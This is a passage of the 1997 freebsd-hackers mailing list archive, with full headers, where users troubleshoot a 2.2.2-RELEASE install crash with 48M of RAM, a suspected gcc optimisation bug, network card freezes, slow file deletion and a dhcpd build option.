kalypso.cybercom.net (kalypso.cybercom.net [209.21.136.5]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id HAA20532 for ; Thu, 14 Aug 1997 07:32:42 -0700 (PDT) Received: from atlanta (ksmm@world-f.std.com [199.172.62.5]) by kalypso.cybercom.net (8.8.5/8.8.5) with SMTP id KAA14298 for ; Thu, 14 Aug 1997 10:20:40 -0400 (EDT) Message-Id: <3.0.1.32.19970814102540.009df330@cybercom.net> X-Sender: ksmm@cybercom.net X-Mailer: Windows Eudora Light Version 3.0.1 (32) Date: Thu, 14 Aug 1997 10:25:40 -0400 To: freebsd-hackers@FreeBSD.ORG From: The Classiest Man Alive Subject: Re: 2.2.2-RELEASE is driving me up the bloody wall!!!!! In-Reply-To: <199708140308.MAA17843@genesis.atrad.adelaide.edu.au> References: <9708140234.AA107103@csemail.cropsci.ncsu.edu> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk At 12:38 PM 8/14/97 +0930, Michael Smith wrote: >rdkeys@csemail.cropsci.ncsu.edu stands accused of saying: >> I have had perfect success getting the 3.0 snaps going and the 2.1.7.1 >> going on various machines, but 2.2.2 is driving me up the wall!!!! >> >> What gives......? > >Do you have 48M of memory, by any chance? > I just had a failed 2.2.2-RELEASE installation last night and I *do* have 48M of RAM? Do you know something? Spill it, man! K.S. From owner-freebsd-hackers Thu Aug 14 07:45:54 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA21139 for hackers-outgoing; Thu, 14 Aug 1997 07:45:54 -0700 (PDT) Received: from eiche.bik-gmbh.de (eiche.bik-gmbh.de [194.233.237.94]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id HAA21134 for ; Thu, 14 Aug 1997 07:45:49 -0700 (PDT) Received: from localhost (lgk@localhost) by eiche.bik-gmbh.de (8.8.5/8.8.5) with SMTP id QAA20138; Thu, 14 Aug 1997 16:44:37 +0200 (CEST) Date: Thu, 14 Aug 1997 16:44:37 +0200 (CEST) From: Lars Gerhard Kuehl To: hackers@freebsd.org cc: peters@skye.icr.ac.uk, cracauer@cons.org Subject: gcc bug? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I just encountered quite a seriously strange behaviour of gcc (2.7.2.1 of 2.2.2-RELEASE) (maybe I've only well slept and it's already well known ;). In a program, reading, occasionally manipulating and writing a fairly long string the strings get unhappily shortened. Well I thought I made mistake but it turned out to be a compiler 'option': Using '-O' option: * /* some stuff */ * * fputs(ln, iost->d_out); or * /* some stuff... */ * /* llen and strlen(ln) are expected to be equal */ * * if ( llen != strlen(ln) ); /* <- nota bene */ * fprintf(iost->err, "mist: %d, %d\n", strlen(ln), llen); * * fputs(ln, iost->d_out); cause the line to contain an undesired '\0' somewhere, long before its end. * /* some stuff... */ * * if ( llen != strlen(ln) ) /* <- nota bene */ * fprintf(iost->err, "mist: %d, %d\n", strlen(ln), llen); * * fputs(ln, iost->d_out); In this case the condition is never true, i.e. the string is not truncated. 'ln' is a 10240 byte long char array on the stack of main(). If declaring 'ln' static, the string is truncated at a different location but anyway it is cut as well. This does not happen if compiling with a higher optimisation level or without at all. Do I remember correctly that the kernel is compiled with option '-O'? :-) Lars From owner-freebsd-hackers Thu Aug 14 07:58:37 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA21668 for hackers-outgoing; Thu, 14 Aug 1997 07:58:37 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id HAA21632 for ; Thu, 14 Aug 1997 07:58:25 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id AAA20795; Fri, 15 Aug 1997 00:28:08 +0930 (CST) From: Michael Smith Message-Id: <199708141458.AAA20795@genesis.atrad.adelaide.edu.au> Subject: Re: 2.2.2-RELEASE is driving me up the bloody wall!!!!! In-Reply-To: <3.0.1.32.19970814102540.009df330@cybercom.net> from The Classiest Man Alive at "Aug 14, 97 10:25:40 am" To: ksmm@cybercom.net (The Classiest Man Alive) Date: Fri, 15 Aug 1997 00:28:08 +0930 (CST) Cc: freebsd-hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk The Classiest Man Alive stands accused of saying: > At 12:38 PM 8/14/97 +0930, Michael Smith wrote: > >rdkeys@csemail.cropsci.ncsu.edu stands accused of saying: > >> I have had perfect success getting the 3.0 snaps going and the 2.1.7.1 > >> going on various machines, but 2.2.2 is driving me up the wall!!!! > >> > >> What gives......? > > > >Do you have 48M of memory, by any chance? > > I just had a failed 2.2.2-RELEASE installation last night and I *do* have > 48M of RAM? Do you know something? Spill it, man! There is a bizarre bug in the 2.2.2-RELEASE kernel that causes a fatal trap if and only if you have 48M of memory. If you have 32, 40, 56, 64M or anything else, it works fine, but 48M is fatal. You can either remove some memory for the install, or (preferably) install a later snapshot of the 2.2-STABLE tree from releng22.freebsd.org > K.S. -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Thu Aug 14 08:00:35 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA21892 for hackers-outgoing; Thu, 14 Aug 1997 08:00:35 -0700 (PDT) Received: from hwcn.org (main.hwcn.org [199.212.94.65]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id IAA21875 for ; Thu, 14 Aug 1997 08:00:17 -0700 (PDT) Received: from james.freenet.hamilton.on.ca (ac199@james.hwcn.org [199.212.94.66]) by hwcn.org (8.8.7/8.8.7) with ESMTP id LAA17487; Thu, 14 Aug 1997 11:00:46 -0400 (EDT) Received: from localhost (ac199@localhost) by james.freenet.hamilton.on.ca (8.8.7/8.8.7) with SMTP id LAA02524; Thu, 14 Aug 1997 11:01:02 -0400 (EDT) X-Authentication-Warning: james.freenet.hamilton.on.ca: ac199 owned process doing -bs Date: Thu, 14 Aug 1997 11:01:01 -0400 (EDT) From: Tim Vanderhoek X-Sender: ac199@james.freenet.hamilton.on.ca To: "Jordan K. Hubbard" cc: 0000-Administrator , freebsd-hackers@FreeBSD.ORG Subject: Re: Info files. In-Reply-To: <302.871533045@time.cdrom.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Wed, 13 Aug 1997, Jordan K. Hubbard wrote: > [Only ONE mailing list, please! Redirected to -hackers] [Odd. I went to -questions :] > And if you want to write a set of info docs for the current C library, > be my guest! This is FreeBSD. We use DocBook. :) -- Outnumbered? Maybe. Outspoken? Never! tIM...HOEk From owner-freebsd-hackers Thu Aug 14 08:05:28 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA22183 for hackers-outgoing; Thu, 14 Aug 1997 08:05:28 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id IAA22177 for ; Thu, 14 Aug 1997 08:05:19 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id AAA20826; Fri, 15 Aug 1997 00:33:51 +0930 (CST) From: Michael Smith Message-Id: <199708141503.AAA20826@genesis.atrad.adelaide.edu.au> Subject: Re: gcc bug? In-Reply-To: from Lars Gerhard Kuehl at "Aug 14, 97 04:44:37 pm" To: lgk@BIK-GmbH.DE (Lars Gerhard Kuehl) Date: Fri, 15 Aug 1997 00:33:51 +0930 (CST) Cc: hackers@FreeBSD.ORG, peters@skye.icr.ac.uk, cracauer@cons.org X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Lars Gerhard Kuehl stands accused of saying: > > > I just encountered quite a seriously strange behaviour > of gcc (2.7.2.1 of 2.2.2-RELEASE) (maybe I've only > well slept and it's already well known ;). > > In a program, reading, occasionally manipulating and writing > a fairly long string the strings get unhappily shortened. Please post a minimal test program that demonstrates your problem. > Well I thought I made mistake but it turned out to be a compiler > 'option': It's quite likely that you are making a mistake that is only significant at one particular optimisation level. -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Thu Aug 14 08:15:46 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA22898 for hackers-outgoing; Thu, 14 Aug 1997 08:15:46 -0700 (PDT) Received: from vinyl.quickweb.com (vinyl.quickweb.com [206.222.77.8]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id IAA22889 for ; Thu, 14 Aug 1997 08:15:43 -0700 (PDT) Received: (from mark@localhost) by vinyl.quickweb.com (8.8.5/8.6.12) id LAA23588; Thu, 14 Aug 1997 11:15:34 -0400 (EDT) Message-ID: <19970814111534.27169@vinyl.quickweb.com> Date: Thu, 14 Aug 1997 11:15:34 -0400 From: Mark Mayo To: Mark Mayo Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: netscape2 References: <19970813152922.26441@vinyl.quickweb.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.81e In-Reply-To: <19970813152922.26441@vinyl.quickweb.com>; from Mark Mayo on Wed, Aug 13, 1997 at 03:29:22PM -0400 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Wed, Aug 13, 1997 at 03:29:22PM -0400, Mark Mayo wrote: > Anyone still have the Netscape 2.02 tar file hanging around? They > have long since removed it from their ftp servers, but I want it to use > as a "lightweight" browser.. Got it! Thanks to all who responded. -Mark > > TIA, > -Mark -- ---------------------------------------------------------------------------- Mark Mayo mark@quickweb.com RingZero Comp. http://vinyl.quickweb.com/mark finger mark@quickweb.com for my PGP key and GCS code ---------------------------------------------------------------------------- University degrees are a bit like adultery: you may not want to get involved with that sort of thing, but you don't want to be thought incapable. -Sir Peter Imbert From owner-freebsd-hackers Thu Aug 14 08:22:16 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA23222 for hackers-outgoing; Thu, 14 Aug 1997 08:22:16 -0700 (PDT) Received: from relay1.bcs.zaporizhzhe.ua (BCS-TS33-14.4K.bcs.zp.ua [194.58.182.254]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id IAA23181 for ; Thu, 14 Aug 1997 08:21:48 -0700 (PDT) Received: from bcs3.bcs.zaporizhzhe.ua (bcs3.bcs.zp.ua [194.58.182.73]) by relay1.bcs.zaporizhzhe.ua (8.8.5/8.8.5) with ESMTP id SAA02768 for ; Thu, 14 Aug 1997 18:17:58 +0300 (EET DST) Received: (from serg@localhost) by bcs3.bcs.zaporizhzhe.ua (8.8.5/8.7.3) id SAA00697 for freebsd-hackers@FreeBSD.ORG; Thu, 14 Aug 1997 18:17:41 +0300 (EET DST) From: Sergey Shkonda Message-Id: <199708141517.SAA00697@bcs3.bcs.zaporizhzhe.ua> Subject: Shared libs To: freebsd-hackers@FreeBSD.ORG Date: Thu, 14 Aug 1997 18:17:41 +0300 (EET DST) X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk How shared libraries working ? (loading 1'st prog, loading next prog, sharing code and data segments ) -- Sergey Shkonda (serg@bcs.zaporizhzhe.ua) From owner-freebsd-hackers Thu Aug 14 08:36:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA24271 for hackers-outgoing; Thu, 14 Aug 1997 08:36:04 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id IAA24232 for ; Thu, 14 Aug 1997 08:35:58 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id BAA20965; Fri, 15 Aug 1997 01:05:33 +0930 (CST) From: Michael Smith Message-Id: <199708141535.BAA20965@genesis.atrad.adelaide.edu.au> Subject: Re: Archive Python tape drive, 2.1.7 & 1522 In-Reply-To: <199708141145.EAA12741@hub.freebsd.org> from Darren Reed at "Aug 14, 97 09:45:07 pm" To: avalon@coombs.anu.edu.au (Darren Reed) Date: Fri, 15 Aug 1997 01:05:32 +0930 (CST) Cc: hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Darren Reed stands accused of saying: > at work we've dug up two Archive Pyhton tape drives: > 25588-XXX 2.96 > 28388-XXX 5.45 > > both are scanned successfully by FreeBSD 2.1.7 at boot time, but any > attempt to access the drive goes nowhere. Not even "mt -f status" > works. Could you perhaps proffer the boot-time probe messages? > What's going on here ? Dunno. Give us the dipswitch settings too. -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Thu Aug 14 09:00:12 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA25820 for hackers-outgoing; Thu, 14 Aug 1997 09:00:12 -0700 (PDT) Received: from adsdevelop.autodebit.com (adsdevelop.autodebit.com [204.50.245.10]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id JAA25815 for ; Thu, 14 Aug 1997 09:00:09 -0700 (PDT) Received: by adsdevelop.autodebit.com with Microsoft Exchange (IMC 4.0.837.3) id <01BCA890.143780B0@adsdevelop.autodebit.com>; Thu, 14 Aug 1997 08:57:22 -0700 Message-ID: From: David Green-Seed To: "'root@acromail.ml.org'" Cc: "'freebsd-hackers@FreeBSD.ORG'" Subject: RE: A small buffer question.. Date: Thu, 14 Aug 1997 08:57:18 -0700 X-Mailer: Microsoft Exchange Server Internet Mail Connector Version 4.0.837.3 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk 0000-Administrator stands accused of saying: > > If the low level write() call is used to write to a data file then unlike > fwrite() where you must do an fflush to make sure that info is on disk I > am assuming that some type of flush is not necessary (can someone fill me > in on how to insure when using write() and read() calls that the data > actually gets to the disk), more importantly though if I open a socket and > then use a connect call to connect to a remote system and use write() to > write a block of data, is that block of data sent entirely as soon as > possible You may also want to check out fsync(2), fdatasync(2) and sync(2). Dave. _________________________ David Green-Seed davidg@autodebit.com Automated Debit Systems From owner-freebsd-hackers Thu Aug 14 09:18:43 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA26923 for hackers-outgoing; Thu, 14 Aug 1997 09:18:43 -0700 (PDT) Received: from out2.ibm.net (out2.ibm.net [165.87.194.229]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id JAA26912 for ; Thu, 14 Aug 1997 09:18:37 -0700 (PDT) Received: from Elvis.RatsNest.VaBeach.Va.Us (slip166-72-229-156.va.us.ibm.net [166.72.229.156]) by out2.ibm.net (8.8.5/8.6.9) with SMTP id QAA93020; Thu, 14 Aug 1997 16:17:56 GMT Received: by localhost with Microsoft MAPI; Thu, 14 Aug 1997 12:17:50 -0400 Message-ID: <01BCA8AC.153705A0.SimsS@IBM.Net> From: Steve Sims Reply-To: "SimsS@IBM.Net" To: "'john hood'" , "Jordan K. Hubbard" Cc: "freebsd-hackers@FreeBSD.ORG" Subject: RE: FreeBSD --- ALPHA Date: Thu, 14 Aug 1997 12:16:41 -0400 X-Mailer: Microsoft Internet E-mail/MAPI - 8.0.0.4128 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Man, I sort of hate to do this, but John's .sig is just too good for me to let pass... On Wednesday, August 13, 1997 1:13 PM, john hood [SMTP:cgull@smoke.marlboro.vt.us] wrote: > Predictably, they all eventually wandered away, rubbing their bruises > and brushing mud out of their hair. Some went off to work for the > ESA, launching much smaller rockets into low orbits, while others > elected to sit on their front porches drinking Jim Beam from the > bottle and launching bottle rockets from the empties. [Jordan Hubbard] Who can point me to the full message from which this JKH classic is quoted - I *gotta* see what the heck this was in reference to..... (A quick search of the mail archives turned up nothing...) Thanks! ...sjs... From owner-freebsd-hackers Thu Aug 14 11:14:07 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA03246 for hackers-outgoing; Thu, 14 Aug 1997 11:09:50 -0700 (PDT) Received: from biggusdiskus.flyingfox.com (biggusdiskus.flyingfox.com [206.14.52.27]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id LAA03241 for ; Thu, 14 Aug 1997 11:09:45 -0700 (PDT) Received: (from jas@localhost) by biggusdiskus.flyingfox.com (8.8.5/8.8.5) id KAA15039; Thu, 14 Aug 1997 10:58:37 -0700 (PDT) Date: Thu, 14 Aug 1997 10:58:37 -0700 (PDT) From: Jim Shankland Message-Id: <199708141758.KAA15039@biggusdiskus.flyingfox.com> To: SimsS@IBM.Net Subject: RE: FreeBSD --- ALPHA Cc: freebsd-hackers@FreeBSD.ORG Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Who can point me to the full message from which this JKH > classic is quoted - I *gotta* see what the heck this was in > reference to..... I think it had something to do with tcl 8.X. Jim Shankland Flying Fox Computer Systems, Inc. From owner-freebsd-hackers Thu Aug 14 11:37:56 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA04728 for hackers-outgoing; Thu, 14 Aug 1997 11:37:56 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id LAA04718 for ; Thu, 14 Aug 1997 11:37:51 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.6/8.6.9) with ESMTP id LAA01478 for ; Thu, 14 Aug 1997 11:37:46 -0700 (PDT) To: hackers@freebsd.org Subject: For those with accounts on hub and freefall... Date: Thu, 14 Aug 1997 11:37:46 -0700 Message-ID: <1474.871583866@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk The voluntary method of getting people to move off of /a and /b and onto /d doesn't seem to be working, nor do many folks even have the privs for doing this if they wanted to, so I am now in the process of evacuating everyone currently living in /a on hub to /d on freefall. This should give John Fieber the space he needs on hub to index the mailing lists. Just FYI, and let me know if you have any trouble as a result of this move. Jordan From owner-freebsd-hackers Thu Aug 14 11:46:46 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA05248 for hackers-outgoing; Thu, 14 Aug 1997 11:46:46 -0700 (PDT) Received: from mail.cdsnet.net (mail.cdsnet.net [204.118.244.5]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id LAA05227 for ; Thu, 14 Aug 1997 11:46:40 -0700 (PDT) Received: from mail.cdsnet.net (mail.cdsnet.net [204.118.244.5]) by mail.cdsnet.net (8.8.6/8.8.6) with SMTP id LAA12911 for ; Thu, 14 Aug 1997 11:46:34 -0700 (PDT) Date: Thu, 14 Aug 1997 11:46:34 -0700 (PDT) From: Jaye Mathisen To: hackers@freebsd.org Subject: Besides time, what the heck does it take to get DPT driver into , 2.2-stable? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk :) I'm getting tired repatching my source tree all the time. Now if the darn thing would make it into current so I could smp and DPT, I could die a happy man. I recall somebody saying it was going to happen a few weeks go, but unless I"m doing something wrong, I don't see it. (Now if I could just talk Simon into a Mylex driver, I'd really be cookin'). From owner-freebsd-hackers Thu Aug 14 12:22:22 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA07024 for hackers-outgoing; Thu, 14 Aug 1997 12:22:22 -0700 (PDT) Received: from misery.sdf.com (misery.sdf.com [204.244.210.193]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id MAA07015 for ; Thu, 14 Aug 1997 12:22:12 -0700 (PDT) Received: from tom by misery.sdf.com with smtp (Exim 1.62 #1) id 0wz5Rc-0004WY-00; Thu, 14 Aug 1997 12:20:28 -0700 Date: Thu, 14 Aug 1997 12:20:27 -0700 (PDT) From: Tom Samplonius To: Gabriele Cecchetti cc: dg@root.com, freebsd-hackers@freebsd.org Subject: Re: fxp0 rev 1 int a irq 15 on pci0:18 In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Thu, 14 Aug 1997, Gabriele Cecchetti wrote: First, you sent this to too many lists. > I'm running a server with FreeBSD 2.2.2 and the card in the subject. > Often the card/driver frozen (the server still running, but I can't reach > it from network). > > I've read something abount it on mailing list archives to prevent this > problem and then I've consider 2 solution I'm not of aware of this being a common problem. I'm running those cards, and have had no lockups yet. > Aug 1 10:20:41 WAISBiblio /kernel: DEVFS: ready for devices DEVFS is broken, and shouldn't be used. > Aug 1 10:20:41 WAISBiblio /kernel: fxp0 Ethernet> rev 1 int a irq 15 on pci0:18 IRQ 15 may not be good. Generally the onboard IDE controller uses 15. Try to re-allocate. Tom From owner-freebsd-hackers Thu Aug 14 12:50:45 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA08878 for hackers-outgoing; Thu, 14 Aug 1997 12:50:45 -0700 (PDT) Received: from dg-rtp.dg.com (dg-rtp.rtp.dg.com [128.222.1.2]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id MAA08873 for ; Thu, 14 Aug 1997 12:50:41 -0700 (PDT) Received: by dg-rtp.dg.com (5.4R3.10/dg-rtp-v02) id AA05609; Thu, 14 Aug 1997 15:50:03 -0400 Received: from ponds by dg-rtp.dg.com.rtp.dg.com; Thu, 14 Aug 1997 15:50 EDT Received: from lakes.dignus.com (lakes [10.0.0.3]) by ponds.dignus.com (8.8.5/8.7.3) with ESMTP id PAA00465 for ; Thu, 14 Aug 1997 15:27:33 -0400 (EDT) Received: (from rivers@localhost) by lakes.dignus.com (8.8.5/8.6.9) id JAA06376 for freebsd-hackers@freefall.cdrom.com; Thu, 14 Aug 1997 09:01:09 -0400 (EDT) Date: Thu, 14 Aug 1997 09:01:09 -0400 (EDT) From: Thomas David Rivers Message-Id: <199708141301.JAA06376@lakes.dignus.com> To: ponds!freefall.cdrom.com!freebsd-hackers Subject: *really* slow rm on an async file system? Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk If you remember; a few weeks ago (well, several now, actually) I initiated a discussion about 2.2.1 and news - how I had thought it expire was working slower in 2.2.1 then previous versions... At that time; there were several recommendations: 1) Mount the file system async (done) 2) Bump NBUF (now bumpped to 128) 3) the "control" group had received a massive swamp of control messages; making for quite a large directory (corrected by removing all the files in the /usr/spool/news/control directory.) This worked well for some time; but... the problem has resurfaced. So - I looked in /usr/spool/news/control - sure enough, there are quite a few files.... So - I did a "rm *" there; to removed them and rebuild my history file. It's now been 15 minutes; the "rm *" hasn't completed... (this is 2.2.1+ on a 386/33 w/ 8meg of memory... it's slow; but not *that* slow...) I can't stop the process (control-C doesn't get it), and, although an "echo *" worked in that directory just a second ago, it also hangs there now... Does this point to a potential buffer deadlock somewhere? I did a ps -gaxl, to see where rm was waiting; but it doesn't show up in the list... An interesting data point; I brought the machine to single-user and did an "ls -l" in my control directory. This bombed out due to lack of swap space... and echo * didn't complete either... so this could all simply be a swapping contention issue... Just F.Y.I. - - Dave Rivers - From owner-freebsd-hackers Thu Aug 14 13:43:11 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA12381 for hackers-outgoing; Thu, 14 Aug 1997 13:43:11 -0700 (PDT) Received: from toccata.fugue.com (toccata.fugue.com [192.5.5.210]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id NAA12373 for ; Thu, 14 Aug 1997 13:43:02 -0700 (PDT) Received: from andare.fugue.com (andare.rc.vix.com [204.152.187.10]) by toccata.fugue.com (8.8.5/8.6.11) with ESMTP id NAA07744; Thu, 14 Aug 1997 13:42:29 -0700 (PDT) Received: from [[UNIX: localhost]] ([[UNIX: localhost]]) by andare.fugue.com (8.8.5/8.6.11) with SMTP id NAA26807; Thu, 14 Aug 1997 13:42:27 -0700 (PDT) Message-Id: <199708142042.NAA26807@andare.fugue.com> To: John Woodruff cc: dhcpd-users@fugue.com, freebsd-hackers@freebsd.org Subject: Re: isc-dhcpd, FreeBSD, USE_RAW_SEND In-reply-to: Your message of "Thu, 14 Aug 1997 09:55:58 EDT." <33F30E6E.2781E494@us.net> Date: Thu, 14 Aug 1997 13:42:27 -0700 From: Ted Lemon Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > I'm trying to get isc-dhcpd-5.16 to work on a FreeBSD 2.2.2 > system with USE_RAW_SEND (for other reasons, I can't put BPF > into the kernel, so the "standard" build won't work; and the > there's only one broadcast ifc so I *think* it should work). This won't work. I should take that code out. If you want to run dhcpd on FreeBSD with one interface, just compile it with USE_SOCKETS instead of USE_BPF and set up a route to 255.255.255.255 pointing out the ethernet port. In NetBSD 1.0, USE_RAW_SEND would reliably crash the system, although I'm pretty sure that's fixed now. The kernel just doesn't know how to do what I was trying to get it to do. Sigh. _MelloN_ From owner-freebsd-hackers Thu Aug 14 15:13:38 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA16972 for hackers-outgoing; Thu, 14 Aug 1997 15:13:38 -0700 (PDT) Received: from mail.wellserv.com (7YptdTTizm0/R6trtATTOz+Dk47odWLm@sinister.wellserv.com [207.153.66.250]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id PAA16948 for ; Thu, 14 Aug 1997 15:13:24 -0700 (PDT) Received: from wellserv.com (L+jbzkzUGMfbmBlfbHGWqzvUlBSq4SCA@localhost [127.0.0.1]) by mail.wellserv.com (8.8.5/8.8.5) with ESMTP id SAA28337; Thu, 14 Aug 1997 18:12:22 -0400 (EDT) X-Mailer: exmh version 2.0zeta 7/24/97 To: Michael Smith Cc: ksmm@cybercom.net (The Classiest Man Alive), freebsd-hackers@FreeBSD.ORG Subject: Re: 2.2.2-RELEASE is driving me up the bloody wall!!!!! References: <199708141458.AAA20795@genesis.atrad.adelaide.edu.au> In-reply-to: <199708141458.AAA20795@genesis.atrad.adelaide.edu.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 14 Aug 1997 18:12:21 -0400 Message-ID: <28333.871596741@wellserv.com> From: "Paul F. Wells" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On 15 August 1997 at 0:28, Michael Smith wrote: > The Classiest Man Alive stands accused of saying: > > At 12:38 PM 8/14/97 +0930, Michael Smith wrote: > > >rdkeys@csemail.cropsci.ncsu.edu stands accused of saying: > > >> I have had perfect success getting the 3.0 snaps going and the 2.1.7.1 > > >> going on various machines, but 2.2.2 is driving me up the wall!!!! > > >> > > >> What gives......? > > > > > >Do you have 48M of memory, by any chance? > > > > I just had a failed 2.2.2-RELEASE installation last night and I *do* have > > 48M of RAM? Do you know something? Spill it, man! > > There is a bizarre bug in the 2.2.2-RELEASE kernel that causes a fatal > trap if and only if you have 48M of memory. If you have 32, 40, 56, > 64M or anything else, it works fine, but 48M is fatal. > > You can either remove some memory for the install, or (preferably) > install a later snapshot of the 2.2-STABLE tree from releng22.freebsd.org > dmesg sez: FreeBSD 2.2.2-RELEASE #0: Wed Aug 13 02:43:59 EDT 1997 root@sinister.wellserv.com:/usr/src/sys/compile/PRESARIOF CPU: Pentium (100.23-MHz 586-class CPU) Origin = "GenuineIntel" Id = 0x525 Stepping=5 Features=0x1bf real memory = 50331648 (49152K bytes) avail memory = 46452736 (45364K bytes) Probing for devices on 